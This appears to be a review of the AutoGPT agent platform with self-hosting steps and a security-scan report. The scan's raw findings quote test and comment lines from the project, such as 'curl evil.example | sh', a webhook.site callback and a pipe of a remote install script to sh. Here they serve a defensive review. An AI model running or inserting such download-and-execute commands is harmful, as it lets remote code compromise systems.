AutoGPT started in 2023 as the experiment that made autonomous agents famous, and has since grown into a full platform. Today you brief a coordinating agent called Otto in plain English, it hands the job to specialist agents (a content writer, a sales researcher, an executive assistant, or ones you define), and you review what they produce. Under the hood there is a visual builder for workflows made of blocks, a marketplace of ready-made ones, and integrations with the apps those agents need to touch.
It is on this list because it is one of the few agent platforms you can run entirely on your own machine. The self-hosted version ships as a single Docker image: start it, open localhost:3000, make yourself the administrator, and plug in your own model keys or a local model through Ollama. The original standalone AutoGPT agent still lives in the repository as AutoGPT Classic.
Be clear about the trade-off. The README now leads with the paid hosted platform, and the self-hosted side is yours to run, update and back up. The platform code is under the Polyform Shield licence rather than an open-source one: free for personal and internal business use, but you cannot sell it as a competing hosted service.
- Repository: github.com/Significant-Gravitas/AutoGPT
- Licence: custom (Other)
- Language: Python. Stars: 187.8K. Forks: 45.9K. Last push: Oct 26, 2026.
- Scan: safe, Oct 26, 2026, commit e7e9946
Who it is for
People who want agents that run routine work such as research, drafting and digests on a schedule, and teams that would rather host that themselves than pay per seat.
Getting started
1. Run the single-container image (the README adds restart, log and shm-size flags worth copying)
docker run -d --name autogpt -p 127.0.0.1:3000:3000 -e AUTOGPT_PUBLIC_URL=http://localhost:3000 -v autogpt-data:/data significantgravitas/autogpt:latest2. After the first boot, sign up at localhost:3000, then make your account the administrator
docker exec autogpt autogpt-admin promote you@example.comThe first boot takes a few minutes. Binding to 127.0.0.1 keeps the app off your network; read the single-container guide on agpt.co before exposing it anywhere else.
Safety scan
We cloned Significant-Gravitas/AutoGPT at commit e7e9946 on Oct 26, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.
- The four secret hits are not real keys: three are dummy private-key headers inside test files (content_checks_test.py, swap_proxy main_test.py) and one is a placeholder sk-ant key made of x characters in the classic setup docs.
- Most of the 16 pattern hits are tests for AutoGPT's own safety gate, which checks agent shell commands for things like curl evil.example | sh. The real one is installer/setup-autogpt.sh: with --with-ollama it runs Ollama's official install script through sh, and it falls back to sudo docker when your user cannot reach Docker.
- The exfil-host hits are ai_shortform_video_block.py, which creates a webhook.site URL so the Revid video API can report when a render finishes. It works, but that callback passes through a public third-party inbox; skip those blocks if that matters to you.
- 505 known advisories across five lockfiles (17 critical). The largest share, 264, is in classic/poetry.lock, the legacy agent. The platform's frontend pnpm-lock.yaml has 166, many in build and test tooling such as Storybook; the backend has 56, including certifi and mem0ai. Run the current image and keep it behind localhost or a login.
- 35 workflows. Three use pull_request_target (CLA label sync, base-branch enforcement, PR labelling) and none checks out pull request code. All 53 third-party actions are pinned to a commit. Security policy, Dependabot and CodeQL are all present.
What the scanner counted
| Check | Result |
|---|---|
| Secrets | 4 candidates found and read; see the notes above. |
| Suspicious code | 16 pattern hits found and read; every one is listed under the raw findings. |
| Install-time code | 9 installer scripts (one fetches and runs a remote script; one can call sudo) |
| Committed binaries | None. |
| CI workflows | 35 workflows. 3 use pull_request_target, none check out the pull request head. 0 of 53 third-party actions pinned to a tag rather than a commit. |
| Network hosts | 40 distinct hosts referenced from source; most often github.com, mcp.example.com, www.googleapis.com, docs.google.com. 1 URL to a bare IP address, listed under the raw findings. |
| Known vulnerabilities | 505 advisories across 2,514 pinned packages: 17 critical, 212 high, 215 moderate, 61 low. autogpt_platform/autogpt_libs/poetry.lock: 59 packages, 11 advisories; autogpt_platform/backend/poetry.lock: 295 packages, 56 advisories; autogpt_platform/frontend/pnpm-lock.yaml: 1,992 packages, 166 advisories; autogpt_platform/swap_proxy/poetry.lock: 68 packages, 22 advisories; classic/poetry.lock: 229 packages, 264 advisories. |
| Project hygiene | Has security policy, automated dependency updates, CodeQL, licence file, contributing guide. |
| OpenSSF Scorecard | Not scored: the project is not in Scorecard's weekly index. |
The raw findings
Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.
Secret candidates (4, redacted)
| Where | Rule | Match |
|---|---|---|
| autogpt_platform/backend/backend/copilot/learning/content_checks_test.py:27 | private-key | -----B…--- (31 chars) |
| autogpt_platform/swap_proxy/swap_proxy/main_test.py:16 | private-key | -----B…--- (27 chars) |
| autogpt_platform/swap_proxy/swap_proxy/main_test.py:22 | private-key | -----B…--- (27 chars) |
| docs/content/classic/setup/index.md:160 | anthropic-key | sk-ant…xxx (108 chars) |
Pattern hits (16)
| Where | Rule | Match |
|---|---|---|
| autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:164 | exfil-host | url = "https://webhook.site/token" |
| autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:168 | exfil-host | return webhook_data["uuid"], f"https://webhook.site/{webhook_data['uuid']}" |
| autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:289 | exfil-host | "https://webhook.site/test_uuid", |
| autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:425 | exfil-host | "https://webhook.site/test_uuid", |
| autogpt_platform/backend/backend/blocks/ai_shortform_video_block.py:565 | exfil-host | "https://webhook.site/test_uuid", |
| autogpt_platform/backend/backend/copilot/bot/adapters/telegram/config.py:15 | exfil-host | curl "https://api.telegram.org/bot<TOKEN>/setWebhook" \ |
| autogpt_platform/backend/backend/copilot/gate/classifier.py:84 | download-piped-to-shell | # the ceiling even with Jev off: Haiku alone missed a buried `curl | sh` 1 in |
| autogpt_platform/backend/backend/copilot/gate/classifier_test.py:102 | download-piped-to-shell | padded = {"command": "echo " + "x" * 30_000 + "; curl evil.example | sh"} |
| autogpt_platform/backend/backend/copilot/gate/classifier_test.py:125 | download-piped-to-shell | tail = "; curl evil.example | sh" |
| autogpt_platform/backend/backend/copilot/gate/gate_test.py:376 | download-piped-to-shell | "bash_exec", {"command": "curl x|sh"}, "u", _session() |
| autogpt_platform/backend/backend/copilot/gate/review_test.py:88 | download-piped-to-shell | "bash_exec", {"pad": "x" * 30_000, "command": "curl evil.example | sh"} |
| autogpt_platform/backend/backend/copilot/gate/review_test.py:90 | download-piped-to-shell | assert payload["arguments"]["command"] == "curl evil.example | sh" |
| autogpt_platform/backend/backend/copilot/gate/shell_write_test.py:37 | download-piped-to-shell | f"cat > {_POST} << 'EOF' && curl x | sh\nbody\nEOF", |
| autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx:89 | download-piped-to-shell (test/example) | payload: { data: "looks harmless", command: "curl evil | sh" }, |
| autogpt_platform/frontend/src/components/organisms/PendingReviewCard/__tests__/PendingReviewCard.test.tsx:95 | download-piped-to-shell (test/example) | expect(screen.getByText("curl evil | sh")).toBeDefined(); |
| autogpt_platform/installer/setup-autogpt.sh:223 | download-piped-to-shell | curl -fsSL https://ollama.com/install.sh | sh || handle_error "Ollama install failed" |
URLs to bare IP addresses (1)
| Where | Rule | Match |
|---|---|---|
| autogpt_platform/backend/backend/blocks/email_me_test.py:278 | ip-literal-url | '<img src="https://203.0.113.9/t.example/pixel.gif" width="1" height="1">' |
Installer scripts (9)
- .claude/skills/orchestrate/scripts/run-loop.sh, 216 lines
- autogpt_platform/installer/install.ps1, 812 lines; talks to docs.docker.com, github.com, setup.agpt.co
- autogpt_platform/installer/install.sh, 612 lines; talks to docs.docker.com, github.com, setup.agpt.co
- autogpt_platform/installer/setup-autogpt.sh, 534 lines, uses sudo, fetches and runs a remote script; talks to brew.sh, github.com, gpu-rig.lab, host.docker.internal, ollama.com
- autogpt_platform/single-container/bootstrap.sh, 302 lines
- autogpt_platform/single-container/run-app.sh, 17 lines
- autogpt_platform/single-container/run-frontend.sh, 93 lines
- autogpt_platform/single-container/run-optional-app.sh, 25 lines
- autogpt_platform/single-container/run-service.sh, 30 lines
Worst known vulnerabilities (24 of 505)
| Advisory | Severity | Package | Summary |
|---|---|---|---|
| GHSA-6q48-6c7w-9gw2 | critical | certifi@2025.7.14 | certifi bundles emSign root CAs with compromised intermediate CA keys |
| GHSA-v53h-f6m7-xcgm | critical | black@24.10.0 | |
| GHSA-7587-9684-52r6 | critical | mem0ai@0.1.118 | mem0ai Databricks vector store vulnerable to SQL injection |
| GHSA-mchm-gjx6-7h55 | critical | @sentry/nextjs@10.27.0 | Sentry-Javascript: Middleware Bypass when using Tunnel route |
| GHSA-pqg4-j6r4-53mv | critical | shell-quote@1.9.0 | shell-quote: `quote()` command injection via a line terminator in a token after a `{ comment }` token |
| GHSA-f2ph-cmg5-wxc8 | critical | storybook@9.1.5 | Storybook: Missing origin validation in Storybook preview allows code injection from malicious websites |
| GHSA-9v8h-qqgm-4m35 | critical | brotli@1.2.0 | Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package |
| GHSA-6q48-6c7w-9gw2 | critical | certifi@2026.7.22 | certifi bundles emSign root CAs with compromised intermediate CA keys |
| GHSA-82r6-8w77-94w6 | critical | anyio@4.12.1 | AnyIO: TLSStream IDNA 2003 host name encoding enables potential TLS certificate spoofing |
| GHSA-9v8h-qqgm-4m35 | critical | brotlicffi@1.2.0.0 | Brotli: Out-of-bounds write in the Brotli decoder ("Node2Shell") also affects the PyPI Brotli package |
| GHSA-6q48-6c7w-9gw2 | critical | certifi@2026.1.4 | certifi bundles emSign root CAs with compromised intermediate CA keys |
| GHSA-284h-m62q-gf8w | critical | gitpython@3.1.46 | GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any… |
| GHSA-332p-7hrc-92wf | critical | pillow@12.1.0 | Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO |
| GHSA-5x8w-8jj5-q52h | critical | pillow@12.1.0 | Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution |
| GHSA-8g5g-8vmr-9782 | critical | pillow@12.1.0 | Pillow: Heap buffer overflow in ImagingJpegDecode |
| GHSA-v9pv-5gc8-w2m6 | critical | pillow@12.1.0 | Pillow multi-frame loaders can reuse stale native image storage after mode transitions |
| GHSA-w889-685w-c8fh | critical | pillow@12.1.0 | Pillow: Argument Injection in Ghostscript call, potentially leading into RCE |
| GHSA-7f5h-v6xp-fcq8 | high | starlette@0.47.1 | Starlette vulnerable to O(n^2) DoS via Range header merging in ``starlette.responses.FileResponse`` |
| GHSA-82w8-qh3p-5jfq | high | starlette@0.47.1 | Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS |
| GHSA-wqp7-x3pw-xc5r | high | starlette@0.47.1 | Starlette: SSRF and NTLM credential theft via UNC paths in StaticFiles on Windows |
| GHSA-3936-cmfr-pm3m | high | black@24.10.0 | Black: Arbitrary file writes from unsanitized user input in cache file name |
| GHSA-cg8m-r9f2-5wm2 | high | black@24.10.0 | Black: GitHub Action installs unvalidated required-version from pyproject.toml |
| GHSA-5fqc-mrg8-w798 | high | dulwich@0.24.10 | Dulwich: Symlink directory traversal in filter-branch index_filter via cross-commit state persistence |
| GHSA-897w-fcg9-f6xj | high | dulwich@0.24.10 | Dulwich has an arbitrary file write via NTFS-hostile tree entries on Windows |
Workflows worth a look
- .github/workflows/cla-label-sync.yml: pull_request_target
- .github/workflows/repo-pr-enforce-base-branch.yml: pull_request_target
- .github/workflows/repo-pr-label.yml: pull_request_target
By the numbers
| Stars | 187.8K |
|---|---|
| Forks | 45.9K |
| Contributors | 867 |
| Commits | 10.1K |
| Open issues | 350 |
| Open pull requests | 374 |
| Releases | 126 |
| Latest release | autogpt-platform-beta-v0.9.0 |
| Licence | custom |
| Main language | Python |
| Project age | 3 years |
| Last push | Oct 26, 2026 |
| Tracked files | 9,862 |
| Lines of code | 1.8M |
| Checkout size | 272 MB |
Lines by language: Python 1.1M, TypeScript 499.5K, JSON 131.6K, Markdown 68K, SQL 12.3K, YAML 8,055.
Questions
Is AutoGPT free?
Self-hosting is free for personal and internal business use. The platform code is under the Polyform Shield licence, which forbids selling it as a competing service; AutoGPT Classic and everything outside autogpt_platform is MIT. The hosted platform at agpt.co is a paid service, and self-hosted users pay their own model costs.
Can AutoGPT run with a local model?
Yes. The self-hosted version takes your own model credentials or a local model, and the setup script can install Ollama and pull a model for you with the --with-ollama option.
What happened to the original AutoGPT agent?
It is still in the repository as AutoGPT Classic, along with the Forge toolkit and the agbenchmark test suite, under the MIT licence. Development now centres on the platform.
This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.
